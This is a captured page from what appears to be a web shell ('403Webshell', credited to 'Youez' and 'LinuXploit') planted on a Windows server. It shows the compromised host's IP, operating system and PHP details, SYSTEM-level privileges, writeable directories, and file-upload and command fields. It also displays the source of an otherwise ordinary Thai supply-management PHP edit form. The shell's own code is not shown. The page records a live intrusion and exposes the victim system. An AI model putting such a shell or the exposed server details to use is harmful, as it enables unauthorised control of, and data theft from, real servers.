403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/supply_system/supplies/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/supply_system/supplies/supply_edit.php
<?php
include_once __DIR__ . '/../config.php';
include_once __DIR__ . '/../functions.php';
include_once __DIR__ . '/../includes/auth_check.php';
// requireRole(['admin', 'supply_manager']); // Restrict access if needed

$page_title = "แก้ไขข้อมูลพัสดุ";
$supply_id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$supply_data = null;
$error_message = '';

if ($supply_id <= 0) {
    $_SESSION['message'] = 'ไม่ได้ระบุรหัสพัสดุที่ต้องการแก้ไข';
    $_SESSION['message_type'] = 'warning';
    redirect('index.php');
}

// --- Fetch Supply Data to Edit ---
$sql_supply = "SELECT * FROM supplies WHERE id = $supply_id";
$result_supply = mysqli_query($conn, $sql_supply);
if ($result_supply && mysqli_num_rows($result_supply) > 0) {
    $supply_data = mysqli_fetch_assoc($result_supply);
    mysqli_free_result($result_supply);
} else {
    $error_message = "ไม่พบข้อมูลพัสดุรหัส ID: $supply_id";
    // Optional: Redirect if not found after showing message
    // $_SESSION['message'] = $error_message;
    // $_SESSION['message_type'] = 'danger';
    // redirect('index.php');
}

// --- Fetch Categories ---
$categories = [];
$sql_cat = "SELECT id, category_name FROM categories WHERE status = 'active' ORDER BY category_name ASC";
$result_cat = mysqli_query($conn, $sql_cat);
if ($result_cat) {
    while ($row = mysqli_fetch_assoc($result_cat)) {
        $categories[] = $row;
    }
    mysqli_free_result($result_cat);
}

mysqli_close($conn);

// Set dynamic page title
if ($supply_data) {
    $page_title = "แก้ไข: " . htmlspecialchars($supply_data['supply_name']);
}

// --- Include Header and Sidebar ---
include_once __DIR__ . '/../includes/header.php';
include_once __DIR__ . '/../includes/sidebar_supply.php';
?>
<style>
    .current-supply-img {
        max-width: 150px;
        max-height: 150px;
        object-fit: contain; /* Show whole image */
        border: 1px solid #dee2e6;
        padding: 5px;
        margin-top: 10px;
    }
</style>

<div class="container-fluid">
    <h1 class="mt-4"><?php echo $page_title; ?></h1>

    <?php if ($error_message): ?>
        <div class="alert alert-danger" role="alert">
            <?php echo $error_message; ?>
        </div>
        <a href="index.php" class="btn btn-secondary"><i class="bi bi-arrow-left"></i> กลับไปรายการพัสดุ</a>
    <?php elseif ($supply_data): ?>
        <div class="card mb-4">
            <div class="card-header">
                <i class="bi bi-pencil-fill me-1"></i>
                แก้ไขข้อมูลพัสดุ: <?php echo htmlspecialchars($supply_data['supply_code']); ?>
            </div>
            <div class="card-body">
                <form action="action_supply_update.php" method="POST" enctype="multipart/form-data">
                    <input type="hidden" name="supply_id" value="<?php echo $supply_data['id']; ?>">
                    <input type="hidden" name="existing_image" value="<?php echo htmlspecialchars($supply_data['image_filename']); ?>"> <div class="row g-3">
                        <div class="col-md-4">
                            <label for="supply_code" class="form-label required-field">รหัสพัสดุ</label>
                            <input type="text" class="form-control" id="supply_code" name="supply_code" value="<?php echo htmlspecialchars($supply_data['supply_code']); ?>" maxlength="20" required readonly>
                            <small class="text-muted">ไม่สามารถแก้ไขรหัสพัสดุได้</small>
                        </div>
                        <div class="col-md-8">
                            <label for="supply_name" class="form-label required-field">ชื่อพัสดุ</label>
                            <input type="text" class="form-control" id="supply_name" name="supply_name" value="<?php echo htmlspecialchars($supply_data['supply_name']); ?>" maxlength="250" required>
                        </div>
                        <div class="col-md-6">
                            <label for="category_id" class="form-label required-field">หมวดหมู่</label>
                            <select class="form-select" id="category_id" name="category_id" required>
                                <option value="">-- เลือกหมวดหมู่ --</option>
                                <?php foreach ($categories as $category): ?>
                                    <option value="<?php echo $category['id']; ?>" <?php echo ($supply_data['category_id'] == $category['id']) ? 'selected' : ''; ?>>
                                        <?php echo htmlspecialchars($category['category_name']); ?>
                                    </option>
                                <?php endforeach; ?>
                            </select>
                        </div>
                        <div class="col-md-3">
                            <label for="unit" class="form-label required-field">หน่วยนับ</label>
                            <input type="text" class="form-control" id="unit" name="unit" value="<?php echo htmlspecialchars($supply_data['unit']); ?>" maxlength="20" required>
                        </div>
                         <div class="col-md-3">
                            <label for="min_stock_level" class="form-label">จุดสั่งซื้อขั้นต่ำ</label>
                            <input type="number" class="form-control" id="min_stock_level" name="min_stock_level" value="<?php echo htmlspecialchars($supply_data['min_stock_level']); ?>" min="0" step="1">
                        </div>
                         <div class="col-12">
                            <label for="description" class="form-label">คำอธิบายเพิ่มเติม</label>
                            <textarea class="form-control" id="description" name="description" rows="3"><?php echo htmlspecialchars($supply_data['description']); ?></textarea>
                        </div>

                         <div class="col-md-6">
                             <label for="supply_image" class="form-label">รูปภาพพัสดุ</label>
                             <input class="form-control" type="file" id="supply_image" name="supply_image" accept="image/jpeg, image/png, image/gif">
                             <small class="text-muted">อัปโหลดไฟล์ใหม่ (ถ้าต้องการเปลี่ยน) ขนาดไม่เกิน 2MB (JPG, PNG, GIF)</small>

                              <?php
                                $current_image_url = BASE_URL . '/uploads/supplies/' . $supply_data['image_filename'];
                                $current_image_path = __DIR__ . '/../uploads/supplies/' . $supply_data['image_filename'];
                                if (!empty($supply_data['image_filename']) && file_exists($current_image_path)):
                              ?>
                                 <div class="mt-2">
                                     <p>รูปภาพปัจจุบัน:</p>
                                     <img src="<?php echo $current_image_url; ?>" alt="Current Image" class="img-thumbnail current-supply-img mb-2">
                                     <div class="form-check">
                                         <input class="form-check-input" type="checkbox" value="1" id="delete_image" name="delete_image">
                                         <label class="form-check-label text-danger" for="delete_image">
                                             ลบรูปภาพปัจจุบัน (หากไม่ต้องการอัปโหลดรูปใหม่)
                                         </label>
                                     </div>
                                 </div>
                              <?php else: ?>
                                <p class="text-muted mt-2">ยังไม่มีรูปภาพ</p>
                              <?php endif; ?>
                         </div>

                         <div class="col-md-6">
                             <label for="status" class="form-label required-field">สถานะ</label>
                            <select class="form-select" id="status" name="status" required>
                                <option value="active" <?php echo ($supply_data['status'] == 'active') ? 'selected' : ''; ?>>ใช้งาน</option>
                                <option value="inactive" <?php echo ($supply_data['status'] == 'inactive') ? 'selected' : ''; ?>>ไม่ใช้งาน</option>
                            </select>
                         </div>


                         <div class="col-12 mt-4">
                             <button type="submit" class="btn btn-primary"><i class="bi bi-save me-1"></i> บันทึกการเปลี่ยนแปลง</button>
                             <a href="index.php" class="btn btn-secondary">ยกเลิก</a>
                         </div>
                    </div>
                </form>
            </div>
        </div>
    <?php endif; ?>
</div>

<?php
// --- Include Footer ---
include_once __DIR__ . '/../includes/footer.php';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit